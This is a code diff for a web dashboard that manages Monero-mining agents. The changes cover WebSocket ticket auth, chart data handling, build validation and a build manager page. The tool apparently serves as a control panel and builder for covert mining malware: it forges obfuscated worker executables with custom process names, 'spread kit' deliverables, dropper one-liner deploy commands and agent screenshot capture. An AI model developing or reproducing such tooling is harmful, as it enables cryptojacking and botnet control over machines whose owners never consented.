     render(
       <HashrateChart
         data={sample}
-        displayMode="sample"
+        displayMode="live"
         title="Fleet Hash"
         color="#00f5ff"
         unit="H/s"
       />
     );
     expect(screen.getByText(/PEAK/)).toBeInTheDocument();
-    expect(screen.getByText(/PROJECTION/)).toBeInTheDocument();
+    expect(screen.getByText(/LIVE/)).toBeInTheDocument();
   });
 
   it('renders chart with data points', () => {

server/web/src/context/WebSocketProvider.test.tsx

@@ -2,7 +2,7 @@
  * @vitest-environment happy-dom
  */
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
-import { act, render, renderHook } from '@testing-library/react';
+import { act, render, renderHook, waitFor } from '@testing-library/react';
 import { WebSocketProvider } from './WebSocketProvider';
 import { useWebSocketContext } from './WebSocketContext';
 import { useWebSocket } from '../hooks/useWebSocket';
@@ -50,6 +50,7 @@ describe('WebSocketProvider', () => {
     MockWebSocket.instances = [];
     setStoredAuth('testuser', 'testpass', { silent: true });
     vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket);
+    vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new Error('no ws ticket')));
     Object.defineProperty(window, 'location', {
       value: { protocol: 'http:', host: 'localhost:8080' },
       configurable: true,
@@ -64,16 +65,23 @@ describe('WebSocketProvider', () => {
     return MockWebSocket.instances.at(-1)!;
   }
 
+  async function waitForSocket() {
+    await waitFor(() => {
+      expect(MockWebSocket.instances.length).toBeGreaterThan(0);
+    });
+    return latestSocket();
+  }
+
   function wrapper({ children }: { children: React.ReactNode }) {
     return <WebSocketProvider>{children}</WebSocketProvider>;
   }
 
-  it('connects to ws dashboard with auth token query param', () => {
+  it('connects to ws dashboard with auth token query param', async () => {
     setStoredAuth('drjones', 'secret');
     MockWebSocket.instances = [];
     const { result } = renderHook(() => useWebSocketContext(), { wrapper });
 
-    const ws = latestSocket();
+    const ws = await waitForSocket();
     const token = btoa('drjones:secret');
     expect(ws.url).toBe(`ws://localhost:8080/ws/dashboard?token=${encodeURIComponent(token)}`);
 
@@ -92,9 +100,10 @@ describe('WebSocketProvider', () => {
     expect(useWebSocket).toBe(useWebSocketContext);
   });
 
-  it('handles init and agent_online messages', () => {
+  it('handles init and agent_online messages', async () => {
     const agent = mockAgent({ id: 'live-1' });
     const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+    await waitForSocket();
 
     act(() => {
       latestSocket().emitOpen();
@@ -115,9 +124,10 @@ describe('WebSocketProvider', () => {
     expect(result.current.agents[0].hashrate_15s).toBe(999);
   });
 
-  it('marks agent offline and caps recent shares', () => {
+  it('marks agent offline and caps recent shares', async () => {
     const agent = mockAgent({ id: 'a-offline' });
     const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+    await waitForSocket();
 
     act(() => {
       latestSocket().emitOpen();
@@ -140,8 +150,9 @@ describe('WebSocketProvider', () => {
     expect(result.current.recentShares.length).toBeLessThanOrEqual(50);
   });
 
-  it('assigns monotonic _seq on command_result', () => {
+  it('assigns monotonic _seq on command_result', async () => {
     const { result } = renderHook(() => useWebSocketContext(), { wrapper });
+    await waitForSocket();
 
     act(() => {
       latestSocket().emitOpen();
@@ -161,23 +172,24 @@ describe('WebSocketProvider', () => {
     expect(result.current.agentLogs.a1).toBe('log data');
   });
 
-  it('schedules reconnect after close', () => {
-    vi.useFakeTimers();
+  it('schedules reconnect after close', async () => {
     MockWebSocket.instances = [];
     renderHook(() => useWebSocketContext(), { wrapper });
-    const first = latestSocket();
+    const first = await waitForSocket();
 
     act(() => first.close());
     expect(MockWebSocket.instances).toHaveLength(1);
 
-    act(() => vi.advanceTimersByTime(3000));
-    expect(MockWebSocket.instances).toHaveLength(2);
-    vi.useRealTimers();
-  });
+    await act(async () => {
+      await new Promise((r) => setTimeout(r, 3100));
+    });
+    await waitFor(() => expect(MockWebSocket.instances).toHaveLength(2));
+  }, 10000);
 
-  it('closes socket on unmount', () => {
+  it('closes socket on unmount', async () => {
     const closeSpy = vi.spyOn(MockWebSocket.prototype, 'close');
     const { unmount } = render(<WebSocketProvider><span /></WebSocketProvider>);
+    await waitForSocket();
     unmount();
     expect(closeSpy).toHaveBeenCalled();
   });

server/web/src/context/WebSocketProvider.tsx

@@ -9,7 +9,7 @@ import type {
 import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
 import { WebSocketContext } from './WebSocketContext';
 import type { SeqCommandResult } from './WebSocketContext';
-import { getStoredAuth } from '../api/auth';
+import { authHeaders, getStoredAuth } from '../api/auth';
 
 /**
  * WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
@@ -54,25 +54,44 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
 
     const existing = wsRef.current;
     if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
+      existing.onclose = null;
       existing.close();
     }
 
-    const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
-    const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?token=${encodeURIComponent(token)}`;
-    const ws = new WebSocket(wsUrl);
-    wsRef.current = ws;
-
-    ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
-
-    ws.onclose = () => {
+    const openSocket = async () => {
+      const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
+      let wsQuery = `token=${encodeURIComponent(token)}`;
+      try {
+        const resp = await fetch('/api/v1/auth/ws-ticket', {
+          method: 'POST',
+          headers: authHeaders(),
+        });
+        if (resp.ok) {
+          const data = (await resp.json()) as { ticket?: string };
+          if (data.ticket) {
+            wsQuery = `ticket=${encodeURIComponent(data.ticket)}`;
+          }
+        }
+      } catch {
+        /* fall back to legacy token query param */
+      }
       if (unmounted.current) return;
-      setIsConnected(false);
-      if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
-      if (!getStoredAuth()) return;
-      reconnectTimer.current = setTimeout(connect, 3000);
-    };
 
-    ws.onerror = () => { ws.close(); };
+      const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?${wsQuery}`;
+      const ws = new WebSocket(wsUrl);
+      wsRef.current = ws;
+
+      ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
+
+      ws.onclose = () => {
+        if (unmounted.current) return;
+        setIsConnected(false);
+        if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
+        if (!getStoredAuth()) return;
+        reconnectTimer.current = setTimeout(connect, 3000);
+      };
+
+      ws.onerror = () => { ws.close(); };
 
     ws.onmessage = (event) => {
       try {
@@ -222,6 +241,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
         console.error('Failed to parse WebSocket message:', err);
       }
     };
+    };
+
+    void openSocket();
   }, []);
 
   useEffect(() => {

server/web/src/help/chartSampleData.test.ts

@@ -5,8 +5,6 @@ import {
   resolveChartSeries,
   chartSeriesDelta,
   chartSeriesPeak,
-  SAMPLE_CONTRIBUTION_BARS,
-  SAMPLE_FLEET_PREVIEW,
 } from './chartSampleData';
 
 describe('chartSampleData', () => {
@@ -20,44 +18,23 @@ describe('chartSampleData', () => {
     expect(chartSeriesPeak(series)).toBeGreaterThan(0);
   });
 
-  it('hashrate sample trends upward (mining ramp)', () => {
-    const series = generateSampleSeries('hashrate', 48);
-    expect(series[series.length - 1].value).toBeGreaterThan(series[0].value);
-    const delta = chartSeriesDelta(series);
-    expect(delta).not.toBeNull();
-    expect(delta!).toBeGreaterThan(0);
+  it('resolveChartSeries returns empty when live is empty', () => {
+    const { data, mode } = resolveChartSeries([]);
+    expect(mode).toBe('empty');
+    expect(data).toHaveLength(0);
   });
 
-  it('accept sample stays in realistic pool band', () => {
-    const series = generateSampleSeries('accept', 48);
-    for (const p of series) {
-      expect(p.value).toBeGreaterThanOrEqual(90);
-      expect(p.value).toBeLessThanOrEqual(100);
-    }
-  });
-
-  it('resolveChartSeries uses sample when live is empty', () => {
-    const { data, mode } = resolveChartSeries([], 'hashrate');
-    expect(mode).toBe('sample');
-    expect(data.length).toBe(48);
-    expect(validateChartSeries(data).ok).toBe(true);
-  });
-
-  it('resolveChartSeries prefers live when enough points', () => {
-    const live = generateSampleSeries('cpu', 20).map((p, i) => ({
-      ...p,
-      value: 40 + i * 0.5,
-    }));
-    const { data, mode } = resolveChartSeries(live, 'cpu');
+  it('resolveChartSeries returns live slice when data exists', () => {
+    const live = generateSampleSeries('cpu', 20);
+    const { data, mode } = resolveChartSeries(live);
     expect(mode).toBe('live');
     expect(data.length).toBe(20);
   });
 
-  it('preview constants are internally consistent', () => {
-    const totalPct = SAMPLE_CONTRIBUTION_BARS.reduce((s, b) => s + b.pct, 0);
-    expect(totalPct).toBeGreaterThan(98);
-    expect(totalPct).toBeLessThan(102);
-    expect(SAMPLE_FLEET_PREVIEW.hashrate).toBeGreaterThan(50_000);
-    expect(SAMPLE_FLEET_PREVIEW.xmrPerDay).toBeGreaterThan(0);
+  it('chartSeriesDelta computes trend', () => {
+    const series = generateSampleSeries('hashrate', 48);
+    const delta = chartSeriesDelta(series);
+    expect(delta).not.toBeNull();
+    expect(delta!).toBeGreaterThan(0);
   });
 });

server/web/src/help/chartSampleData.ts

@@ -1,41 +1,8 @@
 import type { ChartPoint } from '../components/Charts/HashrateChart';
-import type { ContributionBar } from './fleetAnalytics';
 
 export type ChartSeriesKind = 'hashrate' | 'accept' | 'cpu' | 'mem' | 'gpu';
 
-export type ChartDisplayMode = 'live' | 'sample' | 'blend';
-
-const MIN_LIVE_POINTS = 12;
-
-/** Fleet snapshot shown when no live miners — deck still feels “about to print”. */
-export const SAMPLE_FLEET_PREVIEW = {
-  hashrate: 128_400,
-  acceptRate: 96.8,
-  avgCpu: 52,
-  avgMem: 61,
-  onlinePct: 88,
-  onlineCount: 7,
-  agentCount: 8,
-  xmrPerDay: 0.0384,
-  xmrPrice: 168.42,
-} as const;
-
-export const SAMPLE_CONTRIBUTION_BARS: ContributionBar[] = [
-  { id: 's1', name: 'Vault-01', hashrate: 42_800, pct: 33.4 },
-  { id: 's2', name: 'Forge-Rig', hashrate: 31_200, pct: 24.3 },
-  { id: 's3', name: 'Lan-Node-7', hashrate: 28_100, pct: 21.9 },
-  { id: 's4', name: 'Basement-XMR', hashrate: 26_300, pct: 20.4 },
-];
-
-export const SAMPLE_ACTIVITY = [
-  { id: 'sa1', label: 'OK', ok: true, time: '12:04:11' },
-  { id: 'sa2', label: 'OK', ok: true, time: '12:03:58' },
-  { id: 'sa3', label: 'OK', ok: true, time: '12:03:41' },
-  { id: 'sa4', label: 'OK', ok: true, time: '12:03:22' },
-  { id: 'sa5', label: 'OK', ok: true, time: '12:02:59' },
-  { id: 'sa6', label: 'BAD', ok: false, time: '12:02:44' },
-  { id: 'sa7', label: 'OK', ok: true, time: '12:02:31' },
-];
+export type ChartDisplayMode = 'live' | 'empty';
 
 function formatTime(offsetMin: number): string {
   const d = new Date(Date.now() - offsetMin * 60_000);
@@ -46,7 +13,7 @@ function noise(i: number, amp: number): number {
   return Math.sin(i * 0.7) * amp + Math.cos(i * 0.31) * (amp * 0.6);
 }
 
-/** Deterministic rich-looking telemetry for chart QA and empty-deck preview. */
+/** Test-only synthetic series (not used in production UI). */
 export function generateSampleSeries(kind: ChartSeriesKind, points = 48): ChartPoint[] {
   const out: ChartPoint[] = [];
   for (let i = points - 1; i >= 0; i--) {
@@ -92,41 +59,13 @@ export function validateChartSeries(data: ChartPoint[]): { ok: boolean; errors:
   return { ok: errors.length === 0, errors };
 }
 
-function hasMeaningfulLive(live: ChartPoint[], kind: ChartSeriesKind): boolean {
-  if (live.length < MIN_LIVE_POINTS) return false;
-  const vals = live.map((p) => p.value);
-  const max = Math.max(...vals);
-  const min = Math.min(...vals);
-  if (kind === 'hashrate' || kind === 'gpu') return max > 0 && max !== min;
-  return max - min > 0.05;
-}
-
-/** Prefer live telemetry; pad with sample so graphs never look broken or empty. */
-export function resolveChartSeries(
-  live: ChartPoint[],
-  kind: ChartSeriesKind,
-  options?: { tailValue?: number; minPoints?: number }
-): { data: ChartPoint[]; mode: ChartDisplayMode } {
-  const minPoints = options?.minPoints ?? MIN_LIVE_POINTS;
+/** Live telemetry only — no sample or blended filler in the dashboard. */
+export function resolveChartSeries(live: ChartPoint[]): { data: ChartPoint[]; mode: ChartDisplayMode } {
   const validation = validateChartSeries(live);
-  const liveOk = validation.ok && live.length >= minPoints && hasMeaningfulLive(live, kind);
-
-  if (liveOk) {
-    return { data: live.slice(-60), mode: 'live' };
+  if (!validation.ok || live.length === 0) {
+    return { data: [], mode: 'empty' };
   }
-
-  const sample = generateSampleSeries(kind, 48);
-  if (live.length === 0) {
-    if (options?.tailValue != null && Number.isFinite(options.tailValue)) {
-      const last = sample[sample.length - 1];
-      sample[sample.length - 1] = { ...last, value: options.tailValue };
-    }
-    return { data: sample, mode: 'sample' };
-  }
-
-  const merged = [...sample.slice(0, Math.max(0, 48 - live.length)), ...live.slice(-24)];
-  validateChartSeries(merged);
-  return { data: merged, mode: 'blend' };
+  return { data: live.slice(-60), mode: 'live' };
 }
 
 export function chartSeriesDelta(data: ChartPoint[]): number | null {

server/web/src/help/forgeCompatibility.test.ts

@@ -1,5 +1,6 @@
 import { describe, expect, it } from 'vitest';
 import { runForgeCompatibilityChecks } from './forgeCompatibility';
+import { runForgePreflight } from './forgeValidation';
 import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
 import type { BuildRequest } from '../types';
 
@@ -177,35 +178,37 @@ describe('runForgeCompatibilityChecks', () => {
       expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
     });
 
-    it('errors when worker name is empty', () => {
-      expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true);
+    it('errors when worker name is empty (preflight)', () => {
+      const checks = runForgePreflight(baseForm({ worker_name: '' }), false);
+      expect(checks.find((c) => c.id === 'worker')?.level).toBe('error');
     });
 
-    it('errors when server URL uses localhost', () => {
-      expect(
-        hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error')
-      ).toBe(true);
+    it('errors when server URL uses localhost (preflight)', () => {
+      const checks = runForgePreflight(baseForm({ server_url: 'http://localhost:8989' }), false);
+      expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
     });
 
-    it('errors when server URL uses 127.0.0.1', () => {
-      expect(
-        hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error')
-      ).toBe(true);
+    it('errors when server URL uses 127.0.0.1 (preflight)', () => {
+      const checks = runForgePreflight(baseForm({ server_url: 'http://127.0.0.1:8989' }), false);
+      expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
     });
 
-    it('warns when wallet does not match Monero format', () => {
-      expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true);
+    it('warns when wallet does not match Monero format (preflight)', () => {
+      const checks = runForgePreflight(baseForm({ wallet: 'not-a-wallet' }), false);
+      expect(checks.find((c) => c.id === 'wallet')?.level).toBe('warn');
     });
 
-    it('accepts minimum-length wallet (90 chars)', () => {
+    it('accepts minimum-length wallet (90 chars) in preflight', () => {
       const wallet = '4' + 'A'.repeat(89);
       expect(wallet.length).toBe(90);
-      expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false);
+      const checks = runForgePreflight(baseForm({ wallet }), false);
+      expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
     });
 
-    it('accepts subaddress starting with 8', () => {
+    it('accepts subaddress starting with 8 in preflight', () => {
       const subaddress = '8' + 'B'.repeat(94);
-      expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false);
+      const checks = runForgePreflight(baseForm({ wallet: subaddress }), false);
+      expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
     });
 
     it('emits forge_ready when core config is coherent', () => {

server/web/src/help/forgeCompatibility.ts

@@ -1,11 +1,6 @@
 import type { BuildRequest } from '../types';
 import type { PreflightCheck } from './forgeValidation';
-
-function looksLikeXMRWallet(addr: string): boolean {
-  const a = addr.trim();
-  // Standard Monero addresses start with 4, subaddresses with 8
-  return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
-}
+import { looksLikeXMRWallet } from './forgeValidation';
 
 /** Extra incompatibility checks beyond basic validation. */
 export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
@@ -170,30 +165,6 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
   const workerName = form.worker_name || '';
   const serverUrl = form.server_url || '';
 
-  if (!workerName.trim()) {
-    checks.push({
-      id: 'worker_name_empty',
-      level: 'error',
-      message: 'Worker Name is required. This identifies the machine in your fleet.',
-    });
-  }
-
-  if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) {
-    checks.push({
-      id: 'server_url_localhost',
-      level: 'error',
-      message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.',
-    });
-  }
-
-  if (wallet.trim() && !looksLikeXMRWallet(wallet)) {
-    checks.push({
-      id: 'wallet_invalid',
-      level: 'warn',
-      message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
-    });
-  }
-
   if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) {
     checks.push({
       id: 'forge_ready',

server/web/src/help/forgeFormNormalize.ts

@@ -37,8 +37,8 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
 ];
 
 export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
-  if (form.fusion_enabled) return 'fusion';
   if (form.spread_kit) return 'spread_kit';
+  if (form.fusion_enabled) return 'fusion';
   return 'single';
 }
 

server/web/src/help/forgeValidation.ts

@@ -64,7 +64,7 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
   if (!form.wallet.trim()) {
     checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
   } else if (!looksLikeXMRWallet(form.wallet)) {
-    checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4).' });
+    checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90–106).' });
   } else {
     checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
   }

server/web/src/pages/AgentsPage.tsx

@@ -113,6 +113,14 @@ export default function AgentsPage() {
     [agents]
   );
 
+  useEffect(() => {
+    const liveIds = new Set(agents.map((a) => a.id));
+    setSelectedIds((prev) => {
+      const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
+      return pruned.size === prev.size ? prev : pruned;
+    });
+  }, [agents]);
+
   useEffect(() => {
     if (!commandResults?.length || !screenshotWatchId.current) return;
     const watch = screenshotWatchId.current;
@@ -516,7 +524,13 @@ export default function AgentsPage() {
                 </div>
                 <div className="detail-item">
                   <span className="detail-label">Wallet</span>
-                  <span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span>
+                  <span className="detail-value mono">
+                    {selectedAgent.wallet
+                      ? selectedAgent.wallet.length > 24
+                        ? `${selectedAgent.wallet.slice(0, 20)}…`
+                        : selectedAgent.wallet
+                      : '—'}
+                  </span>
                 </div>
                 <div className="detail-item">
                   <span className="detail-label">IP Address</span>
@@ -597,9 +611,7 @@ export default function AgentsPage() {
                       time: new Date(s.timestamp).toLocaleTimeString(),
                       value: s.hashrate,
                     }));
-                    const chart = resolveChartSeries(live, 'hashrate', {
-                      tailValue: selectedAgent.hashrate_15m,
-                    });
+                    const chart = resolveChartSeries(live);
                     return (
                       <HashrateChart
                         title=""

server/web/src/pages/BuildManagerPage.tsx

@@ -71,23 +71,27 @@ function CopyButton({ text, label }: { text: string; label: string }) {
   );
 }
 
-function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
+function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDeleted: () => void; onError: (msg: string) => void }) {
   const [confirming, setConfirming] = useState(false);
   const [busy, setBusy] = useState(false);
   const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
 
-  const handleClick = () => {
+  const handleClick = async () => {
     if (!confirming) {
       setConfirming(true);
       timerRef.current = setTimeout(() => setConfirming(false), 3000);
-    } else {
-      if (timerRef.current) clearTimeout(timerRef.current);
-      setBusy(true);
-      api.deleteBuild(buildId).finally(() => {
-        setBusy(false);
-        setConfirming(false);
-        onDeleted();
-      });
+      return;
+    }
+    if (timerRef.current) clearTimeout(timerRef.current);
+    setBusy(true);
+    try {
+      await api.deleteBuild(buildId);
+      onDeleted();
+    } catch (e) {
+      onError(e instanceof Error ? e.message : 'Failed to delete build');
+    } finally {
+      setBusy(false);
+      setConfirming(false);
     }
   };
 
@@ -96,7 +100,7 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
       type="button"
       className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
       disabled={busy}
-      onClick={handleClick}
+      onClick={() => void handleClick()}
       title="Delete this build from server"
     >
       {busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
@@ -104,7 +108,17 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
   );
 }
 
-function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
+function PinButton({
+  buildId,
+  pinned,
+  onPinned,
+  onError,
+}: {
+  buildId: string;
+  pinned: boolean;
+  onPinned: () => void;
+  onError: (msg: string) => void;
+}) {
   const [busy, setBusy] = useState(false);
 
   const handleClick = async () => {
@@ -118,7 +132,7 @@ function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boo
       }
       onPinned();
     } catch (e) {
-      console.error(e);
+      onError(e instanceof Error ? e.message : pinned ? 'Failed to unpin build' : 'Failed to pin build');
     } finally {
       setBusy(false);
     }
@@ -145,12 +159,14 @@ function BuildCard({
   onReforge,
   onDeleted,
   onPinned,
+  onActionError,
 }: {
   build: BuildRecord;
   serverBase: string;
   onReforge: (b: BuildRecord) => void;
   onDeleted: () => void;
   onPinned: () => void;
+  onActionError: (msg: string) => void;
 }) {
   const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
   const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
@@ -249,7 +265,11 @@ function BuildCard({
 
       {/* ── Dropper one-liners ── */}
       <div className="bm-dropper">
-        <div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
+        <div className="bm-downloads-label font-tech">
+          {build.pinned
+            ? 'ONE-LINER DEPLOY (serves this pinned build)'
+            : 'ONE-LINER DEPLOY (serves latest build)'}
+        </div>
         <div className="bm-dropper-row">
           <span className="bm-dropper-os">Win</span>
           <code className="bm-dropper-cmd">{ps1}</code>
@@ -274,7 +294,7 @@ function BuildCard({
           <span className="bm-qr-label">Scan to download</span>
         </div>
         <div className="bm-action-btns">
-          <PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
+          <PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
           <button
             type="button"
             className="btn btn-secondary bm-reforge-btn"
@@ -282,7 +302,7 @@ function BuildCard({
           >
             ⚒ Re-forge
           </button>
-          <DeleteButton buildId={build.id} onDeleted={onDeleted} />
+          <DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
         </div>
       </div>
     </NeonCard>
@@ -295,28 +315,31 @@ export default function BuildManagerPage() {
   const [builds, setBuilds] = useState<BuildRecord[]>([]);
   const [loading, setLoading] = useState(true);
   const [error, setError] = useState('');
-  const [serverBase, setServerBase] = useState('');
+  const [serverBase, setServerBase] = useState(() => window.location.origin.replace(/\/$/, ''));
   const navigate = useNavigate();
 
+  const applyServerBase = useCallback((suggestedUrl?: string) => {
+    const pub = suggestedUrl?.trim().replace(/\/$/, '');
+    setServerBase(pub || window.location.origin.replace(/\/$/, ''));
+  }, []);
+
   const loadBuilds = useCallback(async () => {
     try {
-      const list = await api.listBuilds();
+      const [list, info] = await Promise.all([
+        api.listBuilds(),
+        api.getServerInfo().catch(() => null),
+      ]);
       setBuilds(list);
       setError('');
+      if (info) applyServerBase(info.suggested_url);
+      else applyServerBase();
     } catch (e) {
       setError(e instanceof Error ? e.message : 'Failed to load builds');
+      applyServerBase();
     } finally {
       setLoading(false);
     }
-    // Load server base URL separately so a slow/hung server-info call
-    // never blocks the builds list from rendering.
-    api.getServerInfo()
-      .then((info) => {
-        const pub = info?.suggested_url?.trim().replace(/\/$/, '');
-        if (pub) setServerBase(pub);
-      })
-      .catch(() => {/* use window.location.origin fallback already set */});
-  }, []);
+  }, [applyServerBase]);
 
   useEffect(() => { loadBuilds(); }, [loadBuilds]);
 
@@ -375,6 +398,7 @@ export default function BuildManagerPage() {
             onReforge={handleReforge}
             onDeleted={loadBuilds}
             onPinned={loadBuilds}
+            onActionError={(msg) => setError(msg)}
           />
         ))}
       </div>

server/web/src/pages/BuilderPage.tsx

@@ -59,15 +59,17 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
   return forgeDefaultsFromServerSmart(config, serverInfo, builds);
 }
 
-// Simulated stage timeline — (label, target% completed at this point, min ms from start)
+// Simulated stage timeline — real compiles (garble/universal/fusion) often take 10–30+ min.
+// Cap below 95% until the server responds; finishForgeSuccess sets 100%.
+const FORGE_PROGRESS_CAP = 94;
 const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
-  { label: 'Resolving dependencies...', pct: 8,  minMs: 0 },
-  { label: 'Compiling agent source...',  pct: 28, minMs: 800 },
-  { label: 'Cross-compiling targets...',  pct: 52, minMs: 2500 },
-  { label: 'Applying obfuscation...',     pct: 68, minMs: 5000 },
-  { label: 'Packaging deliverable...',    pct: 82, minMs: 8000 },
-  { label: 'Signing & finalizing...',     pct: 93, minMs: 11000 },
-  { label: 'Almost done...',              pct: 98, minMs: 15000 },
+  { label: 'Resolving dependencies...', pct: 6,  minMs: 0 },
+  { label: 'Compiling agent source...',  pct: 18, minMs: 20000 },
+  { label: 'Cross-compiling targets...',  pct: 36, minMs: 90000 },
+  { label: 'Applying obfuscation...',     pct: 52, minMs: 240000 },
+  { label: 'Packaging deliverable...',    pct: 68, minMs: 420000 },
+  { label: 'Signing & finalizing...',     pct: 82, minMs: 600000 },
+  { label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 },
 ];
 
 function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
@@ -153,6 +155,9 @@ export default function BuilderPage() {
   const forgedThisSessionRef = useRef(false);
   const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
   const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
+  const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
+  const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
+  const fusionPrepRef = useRef<HTMLDivElement>(null);
 
   // Drive simulated stage progress while a single build is running
   useEffect(() => {
@@ -175,14 +180,14 @@ export default function BuilderPage() {
       }
       const s = FORGE_STAGES[next];
       // Smoothly interpolate within this stage toward the next stage's target %
-      const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
-      const nextMs  = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
+      const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP;
+      const nextMs  = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000;
       const stageElapsed = elapsed - s.minMs;
       const stageDur = nextMs - s.minMs;
       const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
       const pct = s.pct + (nextPct - s.pct) * frac;
       if (next !== stageIdx) stageIdx = next;
-      setStage(s.label, Math.min(98, pct));
+      setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct));
       forgeStageTimerRef.current = setTimeout(advance, 250);
     };
     advance();
@@ -238,8 +243,10 @@ export default function BuilderPage() {
           setListenPort(config.port || 8989);
         }
         const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
-        const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]);
-        setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates }));
+        const buildList = builds as BuildRecord[];
+        const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
+        setRecentBuilds(buildList);
+        setForm(applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }));
       })
       .catch((err) => {
         console.error(err);
@@ -257,17 +264,21 @@ export default function BuilderPage() {
     }
   };
 
-  // Handle ?reforge=<buildId> links from Build Manager page
+  // Handle ?reforge=<buildId> links from Build Manager — pre-fill only; user confirms before compile.
   useEffect(() => {
     const reforgeId = searchParams.get('reforge');
-    if (!reforgeId || recentBuilds.length === 0) return;
+    if (!reforgeId || !form || recentBuilds.length === 0) return;
     const match = recentBuilds.find((b) => b.id === reforgeId);
     if (match) {
-      reForgeFromBuild(match);
+      const merged = buildRequestFromRecord(match, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
+      setForm(merged);
+      setPendingReforgeBuild(match);
+      setError('');
+      setLastBuild(null);
       setSearchParams({}, { replace: true });
     }
     // eslint-disable-next-line react-hooks/exhaustive-deps
-  }, [searchParams, recentBuilds]);
